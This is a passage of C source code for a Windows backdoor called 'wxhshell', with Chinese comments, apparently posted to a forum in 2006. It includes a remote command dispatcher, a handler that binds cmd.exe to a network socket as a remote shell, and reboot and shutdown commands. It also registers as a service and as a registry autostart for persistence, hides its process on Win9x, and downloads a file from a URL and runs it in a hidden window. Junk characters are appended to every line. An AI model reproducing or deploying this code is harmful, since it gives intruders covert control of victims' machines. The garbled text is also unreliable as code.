  // 安装 050,S`%<g8  
  case 'i': { tHAe  
    if(Install()) L ^r & .N\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;s;3cC!  
    else NJ]3qH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a9UXg< 4  
    break; kIX1u<M~  
    } s<rV1D  
  // 卸载 Svb>s|D  
  case 'r': { tJ 2GSZ`  
    if(Uninstall()) \h_q]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x H&hs$=  
    else wJNm}Wf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !-.GfI:q  
    break; |-)8=QDz)r  
    } #=VYq4B=  
  // 显示 wxhshell 所在路径 Nke!!A}\|  
  case 'p': { V$sY3,J7A%  
    char svExeFile[MAX_PATH]; 2:_6nWl  
    strcpy(svExeFile,"\n\r"); =#v? }JG  
      strcat(svExeFile,ExeFile); mBE&>}G<  
        send(wsh,svExeFile,strlen(svExeFile),0); P#,;)HF  
    break; *yaS^k\  
    } 0y6M;"&~E  
  // 重启 &!OEd ]  
  case 'b': { dFF=-_O>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yIrJaS-  
    if(Boot(REBOOT)) eZaSV>27  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/%v`[  
    else { iaCV8`&q%  
    closesocket(wsh); N0.|Mb"?t  
    ExitThread(0); E5$]0#jB  
    } R(`:~@ 3\6  
    break; 15,JD  
    } p[(I5p: L  
  // 关机 A4'5cR9T!  
  case 'd': { ,zltNbu\.(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! 5NuFLOf  
    if(Boot(SHUTDOWN)) 8AX_y3$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :n QlS  
    else { ]"lB!O~  
    closesocket(wsh); 7jgj;%  
    ExitThread(0); w4vV#C4X  
    } Rd&DH_<+^  
    break; '*`#xNu[  
    } @p L9a1PJv  
  // 获取shell xH xTL>,?  
  case 's': { ~Ix2O   
    CmdShell(wsh); 'gvR?[!t  
    closesocket(wsh); X!p`|i  
    ExitThread(0); G$>QH-p  
    break; SkE<V0  
  } ;Mup@)!j  
  // 退出 -cM1]soT  
  case 'x': { ^J5{quV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8.[F3Tk=  
    CloseIt(wsh); Fq@o_bI  
    break; B*,)@h  
    } lI 4tW=  
  // 离开 $[A\i<#  
  case 'q': { tqZ+2c<W3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NS~;{d \  
    closesocket(wsh); DK\XC%~m  
    WSACleanup(); \xj;{xc  
    exit(1); +yp:douERi  
    break; :-B+W9'5  
        } d=PX}o^  
  } _r*\ BM8y  
  } jYFJk&c  
[/CGV8+  
  // 提示信息 !Aw^X} C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b,E?{uG  
} D&" D[|@  
  } y %Q. (  
%bAQ>E2;m  
  return; + cfEyiub  
} eF,F<IJT{  
MLu!8dgI  
// shell模块句柄 t$18h2yOL  
int CmdShell(SOCKET sock) d )O^(y1r  
{ e@Lxduq  
STARTUPINFO si; FfdB%  
ZeroMemory(&si,sizeof(si)); 6 Rl[M+Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [OW <<6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Do/R.Mgy*  
PROCESS_INFORMATION ProcessInfo; YV<y-,Io  
char cmdline[]="cmd"; ,Uz8_r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]>t~Bcn m  
  return 0; LE\=Y;%  
} ->8Kd1^F  
"XR=P> xk  
// 自身启动模式 +?$J8Paf  
int StartFromService(void) *Jd"3Si/  
{ _&uJE&xl}  
typedef struct #i[:oC6m:  
{ H#~gx_^U  
  DWORD ExitStatus; L"qJZU  
  DWORD PebBaseAddress; tWIs |n  
  DWORD AffinityMask; v Y0bK-  
  DWORD BasePriority; YYv0cV{E  
  ULONG UniqueProcessId; jk9f{Iu  
  ULONG InheritedFromUniqueProcessId; ABN4kM>%  
}   PROCESS_BASIC_INFORMATION; l88=  
h2ROQKL"B  
PROCNTQSIP NtQueryInformationProcess; jE\ G_>  
BNfj0e5b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2n:<F9^"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ti%MOYNCv  
'D+xs}\  
  HANDLE             hProcess; CS7b3p!I  
  PROCESS_BASIC_INFORMATION pbi; 'J,UKK\5  
9>)b6)J D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9/k2 zXY  
  if(NULL == hInst ) return 0; (Q*q# U  
OS(`H5D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AYAU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A{ +/$7vek  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kE&R;T`Gb%  
T: za},-  
  if (!NtQueryInformationProcess) return 0; 4uXGp sL  
OrkcY39"~a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MntmBj-T  
  if(!hProcess) return 0; )Te\6qM  
o?baiOkH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '12m4quO  
y\FQt];z)  
  CloseHandle(hProcess); q,P.)\0A  
F*k =JL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); La ?A@SD  
if(hProcess==NULL) return 0; $H<_P'h-B  
b] 5dBZ(  
HMODULE hMod; Zux L2W  
char procName[255]; mB`HPT  
unsigned long cbNeeded; D?KLV _Op  
F'uqL+jVO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4@{;z4*`  
D$FTnY  
  CloseHandle(hProcess); H:G``Vq;0m  
zJXZ0yRT  
if(strstr(procName,"services")) return 1; // 以服务启动 H k}P  
$ .tT  
  return 0; // 注册表启动 MHpGG00,  
} [vu;B4^"  
{QEvc  
// 主模块 |j+JLB  
int StartWxhshell(LPSTR lpCmdLine) !zK"y[V  
{ ui?@:=  
  SOCKET wsl; 4rhHvp  
BOOL val=TRUE; @WazSL;N  
  int port=0; (Aw@}!  
  struct sockaddr_in door; \;XJ$~>  
k)+{Y v*  
  if(wscfg.ws_autoins) Install(); c44s @ E  
#66i!}  
port=atoi(lpCmdLine); Ku'a,\7z  
(cVIjo+::  
if(port<=0) port=wscfg.ws_port; }0&Fu?sP  
gbdzS6XW~  
  WSADATA data; |E6Thvl$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  KcT(/!  
-o/Vp>_UOE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LuRCkKJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X!hzpg(`hR  
  door.sin_family = AF_INET; =sW K;`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'l<#;{  
  door.sin_port = htons(port); myo4`oH  
H ezbCwsx&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U%F a.bL~  
closesocket(wsl); P,8TO-e7  
return 1; &DW !$b  
} >_Tyzl>z  
OIFjc0  
  if(listen(wsl,2) == INVALID_SOCKET) { l9QIlTc7  
closesocket(wsl); PVi;h%>Y  
return 1; %|4Kak]:Q  
} OTYkJEC8\N  
  Wxhshell(wsl); H0b{`!'Fs:  
  WSACleanup(); D{t_65c-  
;-JF1p7;  
return 0; b0 }dy\dnQ  
m2m ;|rr  
} ,tXI*R  
-medD G  
// 以NT服务方式启动 ` { Ox=+]M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  c{kpg N  
{ LTf)`SN %'  
DWORD   status = 0; <mJ8~  
  DWORD   specificError = 0xfffffff; 0=+feB1T  
b|V <Kp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &am<_Tn*3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fx>QP?Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1TEKq#t;y  
  serviceStatus.dwWin32ExitCode     = 0;  }se3y  
  serviceStatus.dwServiceSpecificExitCode = 0; |7 K>`  
  serviceStatus.dwCheckPoint       = 0; wKJ|;o4;L  
  serviceStatus.dwWaitHint       = 0; _o w7E\70  
\Ec*Gq?.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [$} \Gv  
  if (hServiceStatusHandle==0) return; _gH$ ,.j/  
Ho#nM_ q  
status = GetLastError(); 0[H />%3O  
  if (status!=NO_ERROR) {*;K>%r\o  
{ }x|q*E\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mdbi@ms@  
    serviceStatus.dwCheckPoint       = 0; LT)I ?ud  
    serviceStatus.dwWaitHint       = 0; %V1jM  
    serviceStatus.dwWin32ExitCode     = status; mY=sh{ir  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;0| :.q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o]I8Ghk>/z  
    return; k^d^Todq.  
  } { Mf-?_%  
x ;SY80D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P@bPdw!JA  
  serviceStatus.dwCheckPoint       = 0; Ne;0fk O  
  serviceStatus.dwWaitHint       = 0; >tkz%;6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .(8 V  
} 'pUJREb  
!Mgo~h"]#  
// 处理NT服务事件,比如:启动、停止 #" "T>+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Q_ '[!S  
{ [CI0N I6F  
switch(fdwControl) o[RwK  
{ s;l"'6:_  
case SERVICE_CONTROL_STOP: & E6V'*<93  
  serviceStatus.dwWin32ExitCode = 0; 0)zJG |  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "\vQVZd-E  
  serviceStatus.dwCheckPoint   = 0; ;,uATd|  
  serviceStatus.dwWaitHint     = 0; W!"QtEJ,  
  { !5h8sD;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d"E3ypPK  
  } +BO kHXk1  
  return; -awG1 4%  
case SERVICE_CONTROL_PAUSE: Kwm_Y5`A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X. Ur`X  
  break; S~H>MtX(<  
case SERVICE_CONTROL_CONTINUE: EUh_`R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x|AND]^Q  
  break; <_k A+&T  
case SERVICE_CONTROL_INTERROGATE: MSBrI3MqQ  
  break; Y^DGnx("m  
}; 3.P7GbN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xf"< >M  
} 1he5Zevm}  
v>nBdpjXh  
// 标准应用程序主函数 o7Z 8O,;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2yFT` 5+H4  
{ h 2JmRO  
xCWS  
// 获取操作系统版本 4i&Rd1#0dI  
OsIsNt=GetOsVer(); PJ&L7   
GetModuleFileName(NULL,ExeFile,MAX_PATH); $0OOH4  
&PApO{#Q  
  // 从命令行安装 ai?N!RX%H  
  if(strpbrk(lpCmdLine,"iI")) Install(); O#):*II`9  
8QL=%Pv  
  // 下载执行文件 HCkfw+gaV  
if(wscfg.ws_downexe) { V )UtU L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3b#L*-  
  WinExec(wscfg.ws_filenam,SW_HIDE); F&+qd`8J  
} %CnNu  
Qv'x+GVW]  
if(!OsIsNt) { &tf(vU;,'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z'uiU e`&  
HideProc(); 0s{7=Ef  
StartWxhshell(lpCmdLine); u>vvW|OB[  
} j+3rS  
else ?WqaT)l~  
  if(StartFromService()) 5`:d$rv  
  // 以服务方式启动 0y/31hp  
  StartServiceCtrlDispatcher(DispatchTable); IC8%E3  
else ,~1sZ`C  
  // 普通方式启动 01&E.A  
  StartWxhshell(lpCmdLine); .#iot(g  
-I6t ^$HA  
return 0; Og@{6>  
}
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只看该作者 1 发表于: 2006-10-10
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